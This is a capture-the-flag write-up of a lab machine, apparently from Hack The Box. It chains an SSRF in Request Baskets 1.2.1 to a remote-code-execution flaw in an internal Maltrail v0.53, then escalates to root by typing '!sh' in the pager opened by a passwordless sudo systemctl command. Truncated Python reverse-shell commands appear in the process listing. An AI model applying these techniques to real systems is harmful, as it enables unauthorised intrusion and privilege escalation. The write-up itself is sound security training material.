

User flag

Recon

Nmap reveald 4 open ports


```
PORT      STATE      SERVICE
22/tcp    open       ssh
80/tcp    filtered  http
8338/tcp   filtered  unknown
55555/tcp  open       unknown

Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds

(n0x00ne@kali)-[~]
└─$ sudo nmap -p22,80,8338,55555 -sC -sV 10.10.11.224
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-28 17:18 EDT
Nmap scan report for 10.10.11.224
Host is up (0.045s latency).


PORT      STATE      SERVICE VERSION
22/tcp    open       ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_  3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
|_  256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
|_  256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
80/tcp    filtered  http
8338/tcp   filtered  unknown
55555/tcp  open       unknown
|_ fingerprint-strings:
|_   FourOhFourRequest:
|_     HTTP/1.0 400 Bad Request
|_     Content-Type: text/plain; charset=utf-8
|_     X-Content-Type-Options: nosniff
|_     Date: Sat, 28 Oct 2023 21:18:45 GMT
|_     Content-Length: 75
|_     invalid basket name; the name does not match pattern: ^[wd-_.]{1,250}$
|_   GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
|_     HTTP/1.1 400 Bad Request
|_     Content-Type: text/plain; charset=utf-8
|_     Connection: close
|_     Request
|_   GetRequest:
|_     HTTP/1.0 302 Found
|_     Content-Type: text/html; charset=utf-8
|_     Location: /web
|_     Date: Sat, 28 Oct 2023 21:18:19 GMT
|_     Content-Length: 27
|_     href="/web">Found</a>.
|_   HTTPOptions:
|_     HTTP/1.0 200 OK
|_     Allow: GET, OPTIONS
|_     Date: Sat, 28 Oct 2023 21:18:19 GMT
|_     Content-Length: 0
|_
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94%I=7%O=10/28%Time=653D7A9B%P=x86_64-pc-linux-gnu%r(
SF-GetRequest,A2,"HTTP/1.0 302 Found\r\nContent-Type:\x20text/html;
SF:\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sat,\x2028\x20Oct\x2
SF:02023\x2021:18:19\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href="/
SF:web">Found</a>.\n\n")%r(GenericLines,67,"HTTP/1.1\x20400\x20Bad\x20R
SF:request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\
SF:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1.0\x20
SF:200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sat,\x2028\x20Oct\x2
SF:02023\x2021:18:19\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReques
SF:t,67,"HTTP/1.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain
SF:\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request
SF:")%r(Help,67,"HTTP/1.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(SSLSessionReq,67,"HTTP/1.1\x20400\x20Bad\x20Request\r\nCo
SF:ntent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n
SF:\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,
SF:"HTTP/1.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20
```

I wasn't able to find anything in the browser on port 80, but port 55555 was more promising (as nmap already showed)



It was a [Request Baskets](#) server, which seemed to be running on version 1.2.1. Conveniently, this version of Request Baskets, is vulnerable to SSRF.

You have to configure a newly created basket as a proxy and then you can make the basket redirect your request to a internally running process of the server.



In this case, [Maltrail](#) v0.53 was running on localhost:80, which is a detection system for malicious activity.

Powered by **Maltrail (v0.53)**

- Hide threat
- Report false positive

Ironically, this version of maltrail is vulnerable to [RCE](#). To set this up, the **Expand Forward Path** option also has to be enabled, since the /login page of maltrail is needed for this RCE.

Configuration Settings



Forward URL:

http://127.0.0.1

☐ Insecure TLS only affects forwarding to URLs like `https://...`

☒ Proxy Response

☒ Expand Forward Path


Basket Capacity:

200

Cancel


Apply

I downloaded the script and passed it the newly created basket. And there it was, the user flag:



Root Flag

To get the root flag, I checked the users rights with **sudo -l** as always:

A terminal window with a dark background and a red title bar. The title bar contains the text "noxxone@kali: ~ 80x24". The terminal shows the command "sudo -l" being executed by user "puma" on host "sau". The output lists matching defaults and the commands the user can run without a password.

```
puma@sau:~$ sudo -l
sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
puma@sau:~$
```

The user seemed to have the right to run **systemctl status trail.service** with sudo without a password.

systemctl status usually opens **less** and lets you view the current status and some of the logs of a specific service. **less** lets you execute shell commands with the **!** prefix and since it is running with

root privileges, it should give me a root shell.

```
puma@sau:~$ sudo systemctl status trail.service
sudo systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
   Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:
   Active: active (running) since Sat 2023-10-28 20:31:44 UTC; 17h ago
     Docs: https://github.com/stamparm/maltrail#readme
           https://github.com/stamparm/maltrail/wiki
   Main PID: 900 (python3)
    Tasks: 57 (limit: 4662)
   Memory: 349.4M
    CGroup: /system.slice/trail.service
           └─ 900 /usr/bin/python3 server.py
              1211 /bin/sh -c logger -p auth.info -t "maltrail[900]" "Failed"
              1213 /bin/sh -c logger -p auth.info -t "maltrail[900]" "Failed"
              1217 sh
              1221 python3 -c import socket,os,pty;s=socket.socket(socket.AF
              1222 /bin/sh
              1299 /bin/bash
              2192 /bin/sh -c logger -p auth.info -t "maltrail[900]" "Failed"
              2193 /bin/sh -c logger -p auth.info -t "maltrail[900]" "Failed"
              2196 sh
              2197 python3 -c import socket,os,pty;s=socket.socket(socket.AF
              2198 /bin/sh
              2199 /bin/bash
              9999 gpg-agent --homedir /home/puma/.gnupg --use-standard-sock
lines 1-23!sh
!sh
# whoami
whoami
root
# ls ~
ls ~
go root.txt
#
```

And boom, the mainframe is once again mine.